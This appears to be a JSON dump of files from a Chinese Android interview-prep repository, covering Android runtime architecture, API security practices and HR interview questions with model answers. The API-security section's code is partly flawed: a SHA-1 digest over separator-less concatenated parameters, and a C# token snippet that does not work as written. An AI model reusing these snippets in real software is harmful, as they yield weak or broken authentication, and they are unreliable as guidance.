DEX 文件在低内存设备上运行多个虚拟机，DEX 文件是一种专为 Android 设计的字节码格式，经过优化，使用的内存很少。编译工具链（例如 [Jack](https://source.android.com/source/jack.html)）将 Java 源代码编译为 DEX 字节码，使其可在 Android 平台上运行。\n\nART 的部分主要功能包括：\n\n- 预先 (AOT) 和即时 (JIT) 编译\n- 优化的垃圾回收 (GC)\n- 更好的调试支持，包括专用采样分析器、详细的诊断异常和崩溃报告，并且能够设置监视点以监控特定字段\n\n在 Android 版本 5.0（API 级别 21）之前，Dalvik 是 Android Runtime。如果您的应用在 ART 上运行效果很好，那么它应该也可在 Dalvik 上运行，但[反过来不一定](https://developer.android.google.cn/guide/platform/verifying-apps-art.html)。\n\nAndroid 还包含一套核心运行时库，可提供 Java API 框架使用的 Java 编程语言大部分功能，包括一些 [Java 8 语言功能](https://developer.android.google.cn/guide/platform/j8-jack.html)。\n\n## 原生 C/C++ 库\n\n许多核心 Android 系统组件和服务（例如 ART 和 HAL）构建自原生代码，需要以 C 和 C++ 编写的原生库。Android 平台提供 Java 框架 API 以向应用显示其中部分原生库的功能。例如，您可以通过 Android 框架的 [Java OpenGL API](https://developer.android.google.cn/reference/android/opengl/package-summary.html) 访问 [OpenGL ES](https://developer.android.google.cn/guide/topics/graphics/opengl.html)，以支持在应用中绘制和操作 2D 和 3D 图形。\n\n如果开发的是需要 C 或 C++ 代码的应用，可以使用 [Android NDK](https://developer.android.google.cn/ndk/index.html) 直接从原生代码访问某些[原生平台库](https://developer.android.google.cn/ndk/guides/stable_apis.html)。\n\n## Java API 框架\n\n您可通过以 Java 语言编写的 API 使用 Android OS 的整个功能集。这些 API 形成创建 Android 应用所需的构建块，它们可简化核心模块化系统组件和服务的重复使用，包括以下组件和服务：\n\n- 丰富、可扩展的[视图系统](https://developer.android.google.cn/guide/topics/ui/overview.html)，可用以构建应用的 UI，包括列表、网格、文本框、按钮甚至可嵌入的网络浏览器\n- [资源管理器](https://developer.android.google.cn/guide/topics/resources/overview.html)，用于访问非代码资源，例如本地化的字符串、图形和布局文件\n- [通知管理器](https://developer.android.google.cn/guide/topics/ui/notifiers/notifications.html)，可让所有应用在状态栏中显示自定义提醒\n- [Activity 管理器](https://developer.android.google.cn/guide/components/activities.html)，用于管理应用的生命周期，提供常见的[导航返回栈](https://developer.android.google.cn/guide/components/tasks-and-back-stack.html)\n- [内容提供程序](https://developer.android.google.cn/guide/topics/providers/content-providers.html)，可让应用访问其他应用（例如“联系人”应用）中的数据或者共享其自己的数据\n\n开发者可以完全访问 Android 系统应用使用的[框架 API](https://developer.android.google.cn/reference/packages.html)。\n\n## 系统应用\n\nAndroid 随附一套用于电子邮件、短信、日历、互联网浏览和联系人等的核心应用。平台随附的应用与用户可以选择安装的应用一样，没有特殊状态。因此第三方应用可成为用户的默认网络浏览器、短信 Messenger 甚至默认键盘（有一些例外，例如系统的“设置”应用）。\n\n系统应用可用作用户的应用，以及提供开发者可从其自己的应用访问的主要功能。例如，如果您的应用要发短信，您无需自己构建该功能，可以改为调用已安装的短信应用向您指定的接收者发送消息。"
  },
  {
    "path": "docs/android/Android-Interview/Android/接口安全.md",
    "content": "保证接口安全一般分为两种，一个是防数据篡改，一个是防数据泄漏，防篡改使用摘要验证，防泄漏使用加密\n\n\n\n## token\n\ntoken=5位随机数+时间戳\n\naesEnctrypt（token）\n\n（1）验证时间和服务器时间不能超过3分。\n\n（2）同一个时间戳，随机数只能使用一次。\n\n## 对称加密\n\n把参数对称加密 aes\n\n## 签名验证\n\nras\n\n调用方，要提供公钥，sign（通过双方定义好的[算法](http://lib.csdn.net/base/datastructure)把摘要和参数计算后的值）\n\n我们把post过来的参数先解密，通过制定的算法算出sign\n\n我们看我们算出sign与调用方传过来的sign是否一致，一致则可以进行业务处理，不一致返回签名失败。\n\nsign算法\n\nsecretKey是双方定义的摘要\n\nparams是参数的hashmap集合\n\n```java\nbyte[] data=Digest.getDigest(secretKey, params);\n\npublic class Digest {\n\n     public static byte[] getDigest(String secretKey, Map<String,String> params) throws Exception{\n\n            Set<String> keySet = params.keySet();\n\n            TreeSet<String> sortSet = new TreeSet<>();\n\n            sortSet.addAll(keySet);\n\n            String keyValueStr = \"\";\n\n            Iterator<String> it = sortSet.iterator();\n\n            while(it.hasNext()){\n\n                String key = it.next();\n\n                String value = params.get(key);\n\n                keyValueStr += key + value;\n\n            }\n\n            keyValueStr = keyValueStr + secretKey;\n\n            MessageDigest md = MessageDigest.getInstance(\"SHA-1\");\n\n            return md.digest(keyValueStr.getBytes(\"utf-8\"));\n\n        }\n\n}\n\nboolean b=RsaUtil.verify(data, sign, publicKeyString);\n```\n\nb=false 返回签名失败。\n\n以下是rasutil\n\n```java\n/**\n\n * \n\n */\n\npackage com.hlmedicals.app.util;\n\nimport Java.io.UnsupportedEncodingException;\n\nimport java.security.KeyFactory;\n\nimport java.security.PrivateKey;\n\nimport java.security.PublicKey;\n\nimport java.security.spec.PKCS8EncodedKeySpec;\n\nimport java.security.spec.X509EncodedKeySpec;\n\nimport com.itextpdf.xmp.impl.Base64;\n\n/**\n\n * @author dell\n\n *\n\n */\n\npublic class RsaUtil {\n\n    public static void main (String [] args){\n\n        try {\n\n            byte[]  privateKeyString= IConst.privateKeyString.getBytes(\"utf-8\");\n\n            byte[]  publicKeyString= IConst.publicKeyString.getBytes(\"utf-8\");\n\n            String data1 = \"testabc\"; \n\n            //siyao签名\n\n            byte[] data=data1.getBytes(\"utf-8\");\n\n            byte[] s = sign(data, privateKeyString);\n\n            boolean b=verify(data,s,publicKeyString);\n\n            System.out.println(b);\n\n        } catch (Exception e) {\n\n            // TODO Auto-generated catch block\n\n            e.printStackTrace();\n\n        }  \n\n    }\n\n    /** \n\n     * 使用私钥对数据进行加密签名 \n\n     * @param data 数据 \n\n     * @param privateKeyString 私钥 \n\n     * @return 加密后的签名 \n\n     */  \n\n    public static byte[] sign(byte[] data, byte[] privateKeyString) throws Exception {  \n\n        KeyFactory keyf = KeyFactory.getInstance(\"RSA\");  \n\n        PrivateKey privateKey = keyf.generatePrivate(new PKCS8EncodedKeySpec(Base64.decode(privateKeyString)));  \n\n        java.security.Signature signet = java.security.Signature.getInstance(\"SHA1withRSA\");  \n\n        signet.initSign(privateKey);  \n\n        signet.update(data);  \n\n        byte[] signed = signet.sign();  \n\n        return Base64.encode(signed);  \n\n    }  \n\n    /** \n\n     * 使用公钥判断签名是否与数据匹配 \n\n     * @param data 数据 \n\n     * @param sign 签名 \n\n     * @param publicKeyString 公钥 \n\n     * @return 是否篡改了数据 \n\n     */  \n\n    public static boolean verify(byte[] data, byte[] sign, byte[] publicKeyString) throws Exception {  \n\n        KeyFactory keyf = KeyFactory.getInstance(\"RSA\");  \n\n        PublicKey publicKey = keyf.generatePublic(new X509EncodedKeySpec(Base64.decode(publicKeyString)));  \n\n        java.security.Signature signet = java.security.Signature.getInstance(\"SHA1withRSA\");  \n\n        signet.initVerify(publicKey);  \n\n        signet.update(data);  \n\n        return signet.verify(Base64.decode(sign));  \n\n    } \n\n}\n```\n\n4.http 转成htts\n\n5.后台登录要有验证码，没有验证码 ，系统会被爆破，验证码不能被多次使用。\n\n我的项目登录成功后把验证码存在session里。要把session验证码设定为空就可以。\n\n6.系统上传文件时候，应该上传白名单的文件类型，防止jsp、jspx在系统中执行导致系统崩掉。\n\n\n\n在开发过程中，肯定会有和第三方或者app端的接口调用。在调用的时候，如何来保证非法链接或者恶意攻击呢？\n\n## 签名\n\n根据用户名或者用户id，结合用户的ip或者设备号，生成一个token。在请求后台，后台获取http的head中的token，校验是否合法（和[数据库](http://lib.csdn.net/base/mysql)或者[Redis](http://lib.csdn.net/base/redis)中记录的是否一致，在登录或者初始化的时候，存入数据库/redis）\n\n在使用Base64方式的编码后，Token字符串还是有20多位，有的时候还是嫌它长了。由于GUID本身就有128bit，在要求有良好的可读性的前提下，很难进一步改进了。那我们如何产生更短的字符串呢？还有一种方式就是较少Token的长度，不用GUID，而采用一定长度的随机数，例如64bit，再用Base64编码表示：\n\n```\n    var rnd = new Random();\n\n    var tokenData = userIp+userId;\n\n    rnd.NextBytes(tokenData);\n\n    var token = Convert.ToBase64String(tokenData).TrimEnd('=');\n```\n\n由于这里只用了64bit，此时得到的字符串为Onh0h95n7nw的形式，长度要短一半。这样就方便携带多了。但是这种方式是没有唯一性保证的。不过用来作为身份认证的方式还是可以的（如网盘的提取码）。\n\n## 加密\n\n客户端和服务器都保存一个秘钥，每次传输都加密，服务端根据秘钥解密。\n\n   \n\n客户端：\n\n​    1、设置一个key（和服务器端相同）\n\n​    2、根据上述key对请求进行某种加密（加密必须是可逆的，以便服务器端解密）\n\n​    3、发送请求给服务器\n\n服务器端：\n\n​    1、设置一个key\n\n​    2、根据上述的key对请求进行解密（校验成功就是「信任」的客户端发来的数据，否则拒绝响应）\n\n​    3、处理业务逻辑并产生结果\n\n​    4、将结果反馈给客户端\n\n## 第三方支持\n\n比如[spring](http://lib.csdn.net/base/javaee) security－oauth \n\n有兴趣的，可以参考这篇帖子\n\nhttp://wwwcomy.iteye.com/blog/2230265\n\n\n\n多数采用OAuth2，不过对于盗cookie没招，走HTTPS吧\n\napi进行token校验或者签名，另外对于防刷，要进行限流\n\n\n\n题主要看你如何定义接口安全了，我们可以看看新浪微博，每天无数的爬虫在爬，他的接口安全么？一般意义上安全指的是传输过程中不被盗取，走https基本可以做到，至于有人拿到api文档一类的东西（app被反向），那怎么样也防不了\n\n所以如同楼上\n1.对IP进行过滤，频繁访问的进行限制。\n2.使用token令牌进行验证，通过后进行业务逻辑。\n3.不对参数过渡暴露，传输的文本根据业务级别进行加密。\n\n没有绝对的安全，题主可以看看微信开发者文档，看看他们的接口是怎么设计的\n\n\n\n题主要看你如何定义接口安全了，我们可以看看新浪微博，每天无数的爬虫在爬，他的接口安全么？一般意义上安全指的是传输过程中不被盗取，走https基本可以做到，至于有人拿到api文档一类的东西（app被反向），那怎么样也防不了\n\n所以如同楼上\n1.对IP进行过滤，频繁访问的进行限制。\n2.使用token令牌进行验证，通过后进行业务逻辑。\n3.不对参数过渡暴露，传输的文本根据业务级别进行加密。\n\n没有绝对的安全，题主可以看看微信开发者文档，看看他们的接口是怎么设计的"
  },
  {
    "path": "docs/android/Android-Interview/HR/README.md",
    "content": "## 人事面\n\n- [人事面试宝典一之自我介绍](人事面试宝典一之自我介绍.md)\n- [人事面试宝典二之离职](人事面试宝典二之离职.md)\n- [人事面试宝典](人事面试宝典.md)"
  },
  {
    "path": "docs/android/Android-Interview/HR/人事面试宝典.md",
    "content": "## [面试题-史上最全人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 1. 请你自我介绍一下你自己？\n\n回答提示：一般人回答这个问题过于平常，只说姓名、年龄、爱好、工作经验，这些在简历上都有，其实，企业最希望知道的是求职者能否胜任工作，包括：最强的技能、最深入研究的知识领域、个性中最积极的部分、做过的最成功的事，主要的成就等，这些都可以和学习无关，也可以和学习有关，但要突出积极的个性和做事的能力，说得合情合理企业才会相信。企业很重视一个人的礼貌，求职者要尊重考官，在回答每个问题之后都说一句“谢谢”。企业喜欢有礼貌的求职者。\n\n### 2. 你觉得你个性上最大的优点是什么？\n\n回答提示：沉着冷静、条理清楚、立场坚定、顽强向上。\n乐于助人和关心他人、适应能力和幽默感、乐观和友爱。\n\n### 3. 说说你最大的缺点？\n\n回答提示：这个问题企业问的概率很大，通常不希望听到直接回答的缺点是什么等，如果求职者说自己小心眼、爱忌妒人、非常懒、脾气大、工作效率低，企业肯定不会录用你。绝对不要自作聪明地回答“我最大的缺点是过于追求完美”，有的人以为这样回答会显得自己比较出色，但事实上，他已经岌芨可危了。企业喜欢求职者从自己的优点说起，中间加一些小缺点，最后再把问题转回到优点上，突出优点的部分。企业喜欢聪明的求职者。\n\n### 4. 你对加班的看法？\n\n回答提示：实际上好多公司问这个问题，并不证明一定要加班。 只是想测试你是否愿意为公司奉献。\n回答样本：如果是工作需要我会义不容辞加班。我现在单身，没有任何家庭负担，可以全身心的投入工作。但同时，我也会提高工作效率，减少不必要的加班\n\n### 5. 你对薪资的要求？\n\n回 答提示：如果你对薪酬的要求太低，那显然贬低自己的能力；如果你对薪酬的要求太高，那又会显得你分量过重，公司受用不起。一些雇主通常都事先对求聘的职位定下开支预算，因而他们第一次提出的价钱往往是他们所能给予的最高价钱。他们问你只不过想证实一下这笔钱是否足以引起你对该工作的兴趣。\n\n回答样本一：“我对工资没有硬性要求。我相信贵公司在处理我的问题上会友善合理。我注重的是找对工作机会，所以只要条件公平，我则不会计较太多\n\n回答样本二：我受过系统的软件编程的训练，不需要进行大量的培训。而且我本人也对编程特别感兴趣。因此，我希望公司能根据我的情况和市场标准的水平，给我合理的薪水。\n\n回答样本三：如果你必须自己说出具体数目，请不要说一个宽泛的范围，那样你将只能得到最低限度的数字。最好给出一个具体的数字，这样表明你已经对当今的人才市场作了调查，知道像自己这样学历的雇员有什么样的价值。\n\n### 6. 在五年的时间内，你的职业规划？\n\n回答提示：这是每一个应聘者都不希望被问到的问题，但是几乎每个人都会被问到。比较多的答案是“管理者”。但是近几年来，许多公司都已经建立了专门的技术途径。这些工作地位往往被称作“顾问”、“参议技师”或“高级软件工程师”等等。当然，说出其他一些你感兴趣的职位也是可以的，比如产品销售部经理，生产部经理等一些与你的专业有相关背景的工作。要知道，考官总是喜欢有进取心的应聘者，此时如果说“不知道”，或许就会使你丧失一个好机会。最普通的回答应该是“我准备在技术领域有所作为”或“我希望能按照公司的管理思路发展”。\n\n### 7. 你朋友对你的评价？\n\n回答提示： 想从侧面了解一下你的性格及与人相处的问题。\n回答样本：“我的朋友都说我是一个可以信赖的人。因为，我一旦答应别人的事情，就一定会做到。如果我做不到，我就不会轻易许诺。\n回答样本：”我觉的我是一个比较随和的人，与不同的人都可以友好相处。在我与人相处时，我总是能站在别人的角度考虑问题“\n\n### 8. 你还有什么问题要问吗？\n\n回答提示：企业的这个问题看上去可有可无，其实很关键，企业不喜欢说“没有问题”的人，因为其很注重员工的个性和创新能力。企业不喜欢求职者问个人福利之类的问题，如果有人这样问：贵公司对新入公司的员工有没有什么培训项目，我可以参加吗？或者说贵公司的晋升机制是什么样的？企业将很欢迎，因为体现出你对学习的热情和对公司的忠诚度以及你的上进心。\n\n### 9. 如果通过这次面试我们单位录用了你，但工作一段时间却发现你根本不适合这个职位，你怎么办？\n\n回答提示：一段时间发现工作不适合我，有两种情况：\n\n1、如果你确实热爱这个职业，那你就要不断学习，虚心向领导和同事学习业务知识和处事经验，了解这个职业的精神内涵和职业要求，力争减少差距；\n\n2、你觉得这个职业可有可无，那还是趁早换个职业，去发现适合你的，你热爱的职业，那样你的发展前途也会大点，对单位和个人都有好处。\n\n### 10. 在完成某项工作时，你认为领导要求的方式不是最好的，自己还有更好的方法，你应该怎么做？\n\n回答提示：\n\n- 原则上我会尊重和服从领导的工作安排；同时私底下找机会以请教的口吻，婉转地表达自己的想法，看看领导是否能改变想法；\n- 如果领导没有采纳我的建议，我也同样会按领导的要求认真地去完成这项工作；\n- 还有一种情况，假如领导要求的方式违背原则，我会坚决提出反对意见；如领导仍固执己见，我会毫不犹豫地再向上级领导反映。\n\n### 11. 如果你的工作出现失误，给本公司造成经济损失，你认为该怎么办？\n\n回答提示：\n\n- 我本意是为公司努力工作，如果造成经济损失，我认为首要的问题是想方设法去弥补或挽回经济损失。如果我无能力负责，希望单位帮助解决；\n- 是责任问题。分清责任，各负其责，如果是我的责任，我甘愿受罚；如果是一个我负责的团队中别人的失误，也不能幸灾乐祸，作为一个团队，需要互相提携共同完成工作，安慰同事并且帮助同事查找原因总结经验。\n- 总结经验教训，一个人的一生不可能不犯错误，重要的是能从自己的或者是别人的错误中吸取经验教训，并在今后的工作中避免发生同类的错误。检讨自己的工作方法、分析问题的深度和力度是否不够，以致出现了本可以避免的错误\n\n### 12. 如果你在这次考试中没有被录用，你怎么打算？\n\n回答提示：现在的社会是一个竞争的社会,从这次面试中也可看出这一点,有竞争就必然有优劣,有成功必定就会有失败.往往成功的背后有许多的困难和挫折,如果这次失败了也仅仅是一次而已,只有经过经验经历的积累才能塑造出一个完全的成功者。我会从以下几个方面来正确看待这次失败.\n\n第一、要敢于面对,面对这次失败不气馁,接受已经失去了这次机会就不会回头这个现实,从心理意志和精神上体现出对这次失败的抵抗力。要有自信,相信自己经历了这次之后经过努力一定能行.能够超越自我.\n\n第二、善于反思,对于这次面试经验要认真总结,思考剖析,能够从自身的角度找差距。正确对待自己,实事求是地评价自己,辩证的看待自己的长短得失,做一个明白人.\n\n第三、走出阴影,要克服这一次失败带给自己的心理压力,时刻牢记自己弱点,防患于未然,加强学习,提高自身素质.\n第四、认真工作,回到原单位岗位上后,要实实在在、踏踏实实地工作,三十六行,行行出状元,争取在本岗位上做出一定的成绩.\n第五、再接再厉,成为软件工程师或网络工程师一直是我的梦想,以后如果有机会我仍然后再次参加竞争.\n\n### 13. 如果你做的一项工作受到上级领导的表扬，但你主管领导却说是他做的，你该怎样？\n\n回答提示：我首先不会找那位上级领导说明这件事，我会主动找我的主管领导来沟通，因为沟通是解决人际关系的最好办法，但结果会有两种：1.我的主管领导认识到自己的错误，我想我会视具体情况决定是否原谅他；2.他更加变本加厉的来威胁我，那我会毫不犹豫地找我的上级领导反映此事，因为他这样做会造成负面影响，对今后的工作不利。\n\n### 14. 谈谈你对跳槽的看法？\n\n回答提示：\n\n- 正常的\"跳槽\"能促进人才合理流动，应该支持；\n- 频繁的跳槽对单位和个人双方都不利，应该反对。\n\n### 15. 工作中你难以和同事、上司相处，你该怎么办？\n\n回答提示：\n\n- 我会服从领导的指挥，配合同事的工作。\n- 我会从自身找原因，仔细分析是不是自己工作做得不好让领导不满意，同事看不惯。还要看看是不是为人处世方面做得不好。如果是这样的话 我会努力改正。\n- 如果我找不到原因，我会找机会跟他们沟通，请他们指出我的不足。有问题就及时改正。\n- 作为优秀的员工，应该时刻以大局为重，即使在一段时间内，领导和同事对我不理解，我也会做好本职工作，虚心向他们学习，我相信，他们会看见我在努力，总有一天会对我微笑的！\n\n### 16. 假设你在某单位工作，成绩比较突出，得到领导的肯定。但同时你发现同事们越来越孤立你，你怎么看这个问题？你准备怎么办？\n\n回答提示：\n\n- 成绩比较突出，得到领导的肯定是件好事情，以后更加努力\n- 检讨一下自己是不是对工作的热心度超过同事间交往的热心了，加强同事间的交往及共同的兴趣爱好。\n- 工作中，切勿伤害别人的自尊心\n- 不再领导前拨弄是非\n- 乐于助人对面\n\n### 17. 你最近是否参加了培训课程？谈谈培训课程的内容。是公司资助还是自费参加？\n\n回答提示：可以回答一些线上的自我提升的平台,极客学院,慕课网等.\n\n### 18. 你对于我们公司了解多少？\n\n回答提示：在去公司面试前上网查一下该公司主营业务。如回答：贵公司有意改变策略，加强与国外大厂的OEM合作，自有品牌的部分则透过海外经销商。\n\n### 19. 请说出你选择这份工作的动机？\n\n回答提示：这是想知道面试者对这份工作的热忱及理解度，并筛选因一时兴起而来应试的人，如果是无经验者，可以强调“就算职种不同，也希望有机会发挥之前的经验”。\n\n### 20. 你最擅长的技术方向是什么？\n\n回答提示：说和你要应聘的职位相关的课程，表现一下自己的热诚没有什么坏处。\n\n### 21. 你能为我们公司带来什么呢？\n\n回答提示：\n其实我们为公司所做的，也就是为自己所做的，你在为公司不断付出，取得业绩的同时，也是实现了自己价值，自我成为，所以在回答“你能为公司带来什么”时，不妨站在以上角度\n\n### 22. 最能概括你自己的三个词是什么？\n\n回答提示：\n我经常用的三个词是：适应能力强，有责任心和做事有始终，结合具体例子向主考官解释，\n\n### 23. 你的业余爱好是什么？\n\n回答提示：找一些富于团体合作精神的，这里有一个真实的故事：有人被否决掉，因为他的爱好是深海潜水。主考官说：因为这是一项单人活动，我不敢肯定他能否适应团体工作。\n\n### 24. 作为被面试者给我打一下分\n\n回答提示：试着列出四个优点和一个非常非常非常小的缺点，（可以抱怨一下设施，没有明确责任人的缺点是不会有人介意的）。\n\n### 25. 你怎么理解你应聘的职位？\n\n回答提示：把岗位职责和任务及工作态度阐述一下\n\n### 26. 喜欢这份工作的哪一点？\n\n回 答提示：相信其实大家心中一定都有答案了吧！每个人的价值观不同，自然评断的标准也会不同，但是，在回答面试官这个问题时可不能太直接就把自己心理的话说出来，尤其是薪资方面的问题，不过一些无伤大雅的回答是不错的考虑，如交通方便，工作性质及内容颇能符合自己的兴趣等等都是不错的答案，不过如果这时自己能仔细思考出这份工作的与众不同之处，相信在面试上会大大加分。\n\n### 27. 为什么要离职?\n\n回答提示：\n\n回答这个问题时一定要小心，就算在前一个工作受到再大的委屈，对公司有多少的怨言，都千万不要表现出来，尤其要避免对公司本身主管的批评，避免面试官的负面情绪及印象；建议此时最好的回答方式是将问题归咎在自己身上，例如觉得工作没有学习发展的空间，自己想在面试工作的相关产业中多加学习，或是前一份工作与自己的生涯规划不合等等，回答的答案最好是积极正面的。\n\n我希望能获得一份更好的工作，如果机会来临，我会抓住；我觉得目前的工作，已经达到顶峰，即沒有升迁机会。\n\n### 28. 说说你对行业、技术发展趋势的看法？\n\n回答提示：企业对这个问题很感兴趣，只有有备而来的求职者能够过关。求职者可以直接在网上查找对你所申请的行业部门的信息，只有深入了解才能产生独特的见解。企业认为最聪明的求职者是对所面试的公司预先了解很多，包括公司各个部门，发展情况，在面试回答问题的时候可以提到所了解的情况，企业欢迎进入企业的人是“知己”，而不是“盲人”。\n\n### 29. 对工作的期望与目标何在？\n\n回答提示：这是面试者用来评断求职者是否对自己有一定程度的期望、对这份工作是否了解的问题。对于工作有确实学习目标的人通常学习较快，对于新工作自然较容易进入状况，这时建议你，最好针对工作的性质找出一个确实的答案，如业务员的工作可以这样回答：“我的目标是能成为一个超级业务员，将公司的产品广泛的推销出去，达到最好的业绩成效；为了达到这个目标，我一定会努力学习，而我相信以我认真负责的态度，一定可以达到这个目标。”其他类的工作也可以比照这个方式来回答，只要在目标方面稍微修改一下就可以了。\n\n### 30. 说说你的家庭。\n\n回答提示：企业面试时询问家庭问题不是非要知道求职者家庭的情况，探究隐私，企业不喜欢探究个人隐私，而是要了解家庭背景对求职者的塑造和影响。企业希望听到的重点也在于家庭对求职者的积极影响。企业最喜欢听到的是：我很爱我的家庭！我的家庭一向很和睦，虽然我的父亲和母亲都是普通人，但是从小，我就看到我父亲起早贪黑，每天工作特别勤劳，他的行动无形中培养了我认真负责的态度和勤劳的精神。我母亲为人善良，对人热情，特别乐于助人，所以在单位人缘很好，她的一言一行也一直在教导我做人的道理。企业相信，和睦的家庭关系对一个人的成长有潜移默化的影响。\n\n### 31. 就你申请的这个职位，你认为你还欠缺什么？\n\n回答提示：企业喜欢问求职者弱点，但精明的求职者一般不直接回答。他们希望看到这样的求职者：继续重复自己的优势，然后说：“对于这个职位和我的能力来说，我相信自己是可以胜任的，只是缺乏经验，这个问题我想我可以进入公司以后以最短的时间来解决，我的学习能力很强，我相信可以很快融入公司的企业文化，进入工作状态。”企业喜欢能够巧妙地躲过难题的求职者。\n\n### 32. 你欣赏哪种性格的人？\n\n回答提示：诚实、不死板而且容易相处的人、有\"实际行动\"的人。\n\n### 33. 你通常如何处理別人的批评？\n\n回答提示：①沈默是金。不必说什么，否则情况更糟，不过我会接受建设性的批评；②我会等大家冷靜下来再讨论。\n\n### 34. 你怎样对待自己的失敗？\n\n回答提示：我们大家生来都不是十全十美的，我相信我有第二个机会改正我的错误。\n\n### 35. 什么会让你有成就感？\n\n回答提示：为贵公司竭力效劳；尽我所能，完成一个项目\n\n### 36. 眼下你生活中最重要的是什么？\n\n回答提示：对我来说，能在这个领域找到工作是最重要的；望能在贵公司任职对我说最重要。\n\n### 37. 你为什么愿意到我们公司来工作？\n\n回答提示：对于这个问题，你要格外小心，如果你已经对该单位作了研究，你可以回答一些详细的原因，像“公司本身的高技术开发环境很吸引我。”，“我同公司出生在同样的时代，我希望能够进入一家与我共同成长的公司。”“你们公司一直都稳定发展，在近几年来在市场上很有竞争力。”或者“我认为贵公司能够给我提供一个与众不同的发展道路。”这都显示出你已经做了一些调查，也说明你对自己的未来有了较为具体的远景规划。\n\n### 38. 你和别人发生过争执吗？你是怎样解决的？\n\n回答提示：这是面试中最险恶的问题。其实是考官布下的一个陷阱。千万不要说任何人的过错。应知成功解决矛盾是一个协作团体中成员所必备的能力。假如你工作在一个服务行业，这个问题简直成了最重要的一个环节。你是否能获得这份工作，将取决于这个问题的回答。考官希望看到你是成熟且乐于奉献的。他们通过这个问题了解你的成熟度和处世能力。在没有外界干涉的情况下，通过妥协的方式来解决才是正确答案。\n\n### 39. 问题：你做过的哪件事最令自己感到骄傲?\n\n回答提示：这是考官给你的一个机会，让你展示自己把握命运的能力。这会体现你潜在的领导能力以及你被提升的可能性。假如你应聘于一个服务性质的单位，你很可能会被邀请去午餐。记住：你的前途取决于你的知识、你的社交能力和综合表现。\n\n### 40. 你新到一个部门,一天一个客户来找你解决问题,你努力想让他满意，可是始终达不到群众得满意,他投诉你们部门工作效率低,你这个时候怎么作?\n\n回 答提示：\n\n(1)首先，我会保持冷静。作为一名工作人员，在工作中遇到各种各样的问题是正常的，关键是如何认识它，积极应对，妥善处理。 \n\n(2)其次，我会反思一下客户不满意的原因。一是看是否是自己在解决问题上的确有考虑的不周到的地方，二是看是否是客户不太了解相关的服务规定而提出超出规定的要求，三是看是否是客户了解相关的规定，但是提出的要求不合理。 \n\n(3)再次，根据原因采取相对的对策。如果是自己确有不周到的地方，按照服务规定作出合理的安排，并向客户作出解释；如果是客户不太了解政策规定而造成的误解，我会向他作出进一步的解释，消除他的误会；如果是客户提出的要求不符合政策规定，我会明确地向他指出。\n\n (4)再次，我会把整个事情的处理情况向领导作出说明，希望得到他的理解和支持。(5)我不会因为客户投诉了我而丧失工作的热情和积极性，而会一如既往地牢记为客户服务的宗旨，争取早日做一名领导信任、公司放心、客户满意的职员。\n\n### 41. 对这项工作，你有哪些可预见的困难？\n\n回答提示：\n\n不宜直接说出具体的困难，否则可能令对方怀疑应聘者不行；\n\n可以尝试迂回战术，说出应聘者对困难所持有的态度——“工作中出现一些困难是正常的，也是难免的，但是只要有坚忍不拔的毅力、良好的合作精神以及事前周密而充分的准备，任何困难都是可以克服。”\n\n分析：一般问这个问题，面试者的希望就比较大了，因为已经在谈工作细节。但常规思路中的回答，又被面试官“骗”了。当面试官询问这个问题的时候，有两个目的。第一，看看应聘者是不是在行，说出的困难是不是在这个职位中一般都不可避免的问题。第二，是想看一下应聘者解决困难的手法对不对，及公司能否提供这样的资源。而不是想了解应聘者对困难的态度。\n\n### 42. 如果我录用你，你将怎样开展工作？”\n\n回答提示：\n\n如果应聘者对于应聘的职位缺乏足够的了解，最好不要直接说出自己开展工作的具体办法；\n\n可以尝试采用迂回战术来回答，如“首先听取领导的指示和要求，然后就有关情况进行了解和熟悉，接下来制定一份近期的工作计划并报领导批准，最后根据计划开展工作。”\n\n分析：这个问题的主要目的也是了解应聘者的工作能力和计划性、条理性，而且重点想要知道细节。如果向思路中所讲的迂回战术，面试官会认为回避问题，如果引导了几次仍然是回避的话。此人绝对不会录用了。\n\n### 43. 你希望与什么样的上级共事？\n\n回答提示：\n\n- 通过应聘者对上级的“希望”可以判断出应聘者对自我要求的意识，这既上一个陷阱，又是一次机会；\n- 最好回避对上级具体的希望，多谈对自己的要求；\n- 如“做为刚步入社会的新人，我应该多要求自己尽快熟悉环境、适应环境，而不应该对环境提出什么要求，只要能发挥我的专长就可以了\n\n分析：这个问题比较好的回答是，希望我的上级能够在工作中对我多指导，对我工作中的错误能够立即指出。总之，从上级指导这个方面谈，不会有大的纰漏。\n\n### 44. 在完成某项工作时，你认为领导要求的方式不是最好的，自己还有更好的方法，你应该怎么做？\n\n回答提示：\n\n- 